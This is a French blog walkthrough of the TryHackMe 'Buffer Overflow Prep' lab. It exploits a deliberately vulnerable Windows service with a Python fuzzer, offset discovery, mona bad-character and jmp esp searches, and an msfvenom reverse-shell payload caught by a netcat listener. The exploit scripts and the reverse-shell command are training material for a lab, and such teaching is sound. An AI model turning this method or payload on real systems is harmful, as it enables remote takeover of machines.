@ley0x_ / January 22, 2023

TryHackMe - Buffer Overflow Prep

windows
pentest
Test alt

Introduction

NameDescription
EIPEIP pour Extended Instruction Pointer est un registre qui contient l'adresse de la prochaine instruction que le processeur doit éxecuter.
ESPESP pour Extended Stack Pointer est un registre qui garde en mémoire l'adresse du haut de la pile (donc l'adresse la plus basse, du dernier élément ajouté)
JMPJMP pour Jump permet de sauter à l'instruction située à l'adresse indiquée

\x41, \x42 correspondent aux valeurs hexadécimales pour les lettres A et B. Cela va être utile pour la suite de connaître ceci. test

Avant de commencer, voici quelques ressources qui peuvent vous aider à comprendre la suite du writeup. N'hésitez pas à les consulter au besoin.

Commencez par démarrer la VM (Machine Virtuelle) et vous connecter en RDP via xfreerdp ou Remmina :

xfreerdp /u:admin /p:password /cert:ignore /v:<IP>

Une fois connecté, choisissez «Home network» puis ouvrez Immunity Debugger en tant qu'administrateur. Immunity Debugger est un logiciel permettant entre autre d'analyser la mémoire et la pile d'éxecution au moment de l'éxecution et du plantage. Ensuite, ouvrez oscp.exequi se trouve dans le dossier vulnerable-apps sur le bureau.

Vous devriez avoir ce type d'interface :

Pour lancer le programme, vous pouvez cliquer sur le bouton dans la barre d'outil tout en haut qui ressemble à "▶". Vous pouvez vous y connecter depuis votre machine Kali via netcat :

nc <MACHINE_IP> 1337

Vous pouvez ensuite rentrer la commande HELP ou OVERFLOW1 test, et terminer la connexion.

Dans ce writeup, nous allons exploiter le buffer overflow OVERFLOW1 afin de récupérer un reverse shell de la machine windows.

La marche à suivre est exactement la même pour les autres tasks.

Mona configuration

Lors de cette room, nous allons utiliser mona, qui est un script préinstallé sur la machine Windows. La première chose à faire, est de définir le répertoire de travail de mona avec la commande suivante, à rentrer tout en bas dans Immunity :

!mona config -set workingfolder c:\mona\%p

Fuzzing

Si le fuzzer fait planter le serveur avec l'une des chaînes, le fuzzer doit se terminer par un message d'erreur. Notez le plus grand nombre d'octets qui ont été envoyés.

  • fuzzer.py :
#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.186.184"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Crash Replication & Controlling EIP

Créer un patterne cyclique avec patter_create :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

Si la commande ne marche pas, on peut utiliser la commande locate :

locate pattern_create

Une fois le pattern créer, on le mets dans la variable payload du script python qui suit :

import socket

ip = "10.10.186.184"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Ensuite, relancer le programme dans Immunity Debugger et une fois que c'est fait, lancer l'exploit.

Le programme est sensé crasher, rentrer la commande suivante dans Immunity Debugger :

!mona findmsp -distance <distance>

Il ne reste plus qu'à localiser cette ligne dans la fenêtre Log Data :

EIP contains normal pattern : ... (offset XXXX)

L'offset correspond à la position exact du débordement de buffer.

Maintenant, mettez la variable payload égale à une chaine de caractère vide, et initialisez la variable retn à BBBB.

Si vous relancez le programme dans Immunity et lancez l'exploit, alors la valeur contenu dans le registre EIP est censée être 42424242, qui correspond a la variables retn (B=42 en hexa).

Finding Bad Characters

Créer une bytearray dans Immunity :

!mona bytearray -b "\x00"

Puis, pour en créer une sur notre machine et la mettre dans la variable payload, on peut utiliser le script python suivant :

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Après avoir mis à jours notre exploit avec les badchars précédemment générés, relancer le programme dans Immunity avant de lancer de nouveau l'exploit.

Ensuite, garder de coter l'adresse du registre ESP, afin de lancer cette commande dans Immunity :

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP_ADRESS>

Une popup mona Memory comparison results est censée apparaitre. Normalement, le premier badchars afficher est \x00. Ensuite, tout les badchars trouvés n'en sont pas forcément. En effet un badchars peut provoquer une réaction en chaine et corrompre l'octet suivant voir le reste de la string.

La démarche à suivre pour trouver tous les badchars est en faite de répéter l'opération précédente en générant une nouvelle bytearray dans mona en excluant le second badchars. On supprime également le fameux badchars dans notre script python. Pour cela, j'ai rajouter cette partie dans mon fichier exploit.py :

badChars = ["\x07"]
for badchar in badChars:
    payload = payload.replace(badchar, "")

Une fois que c'est fait on relance le programme dans Immunity et on lance l'exploit. Si un nouveau badchar à été trouver, alors il va s'afficher dans la même fenêtre que précédemment. Si il s'affiche le message Unmodified c'est que l'on a trouver tout les badchars.

Finding a Jump Point

Executer la commande suivante dans Immunity :

!mona jmp -r esp -cpb "<badchars>"

N'oubliez pas le badchar \x00 !

Cette commande recherche toutes les instructions "jmp esp" (ou équivalent) dont l'adresse ne contient pas les badchars spécifiés. Les résultats devraient s'afficher dans la fenêtre Log data. Notez l'une de ses adresses et spécifiez la dans la variable retn dans notre exploit.

Attention, si l'adresse est \x01\x02\x03\x04 dans Immunity, écrivez-la \x04\x03\x02\x01 dans votre exploit.

Generate Payload

Créez un payload avec msfvenom :

msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> EXITFUNC=thread -b "\x00" -f c

Copiez l'array générée dans le payload votre exploit python (variable payload).

Prepend NOPs

Étant donné qu'un encodeur a probablement été utilisé pour générer la charge utile, vous aurez besoin d'un peu d'espace en mémoire pour que la charge utile puisse se décompresser. Pour ce faire, vous pouvez définir la variable de remplissage sur une chaîne de 16 octets "No Operation" (\x90) ou plus :

padding = "\x90" * 16

exploit

Maintenant, lancez votre listener sur votre machine Kali :

nc -vnlp <PORT>

Relancez le programme dans Immunity, puis lancez votre payload.

Votre listener a du se transformer en reverse shell. C'est gagner ! Bravo !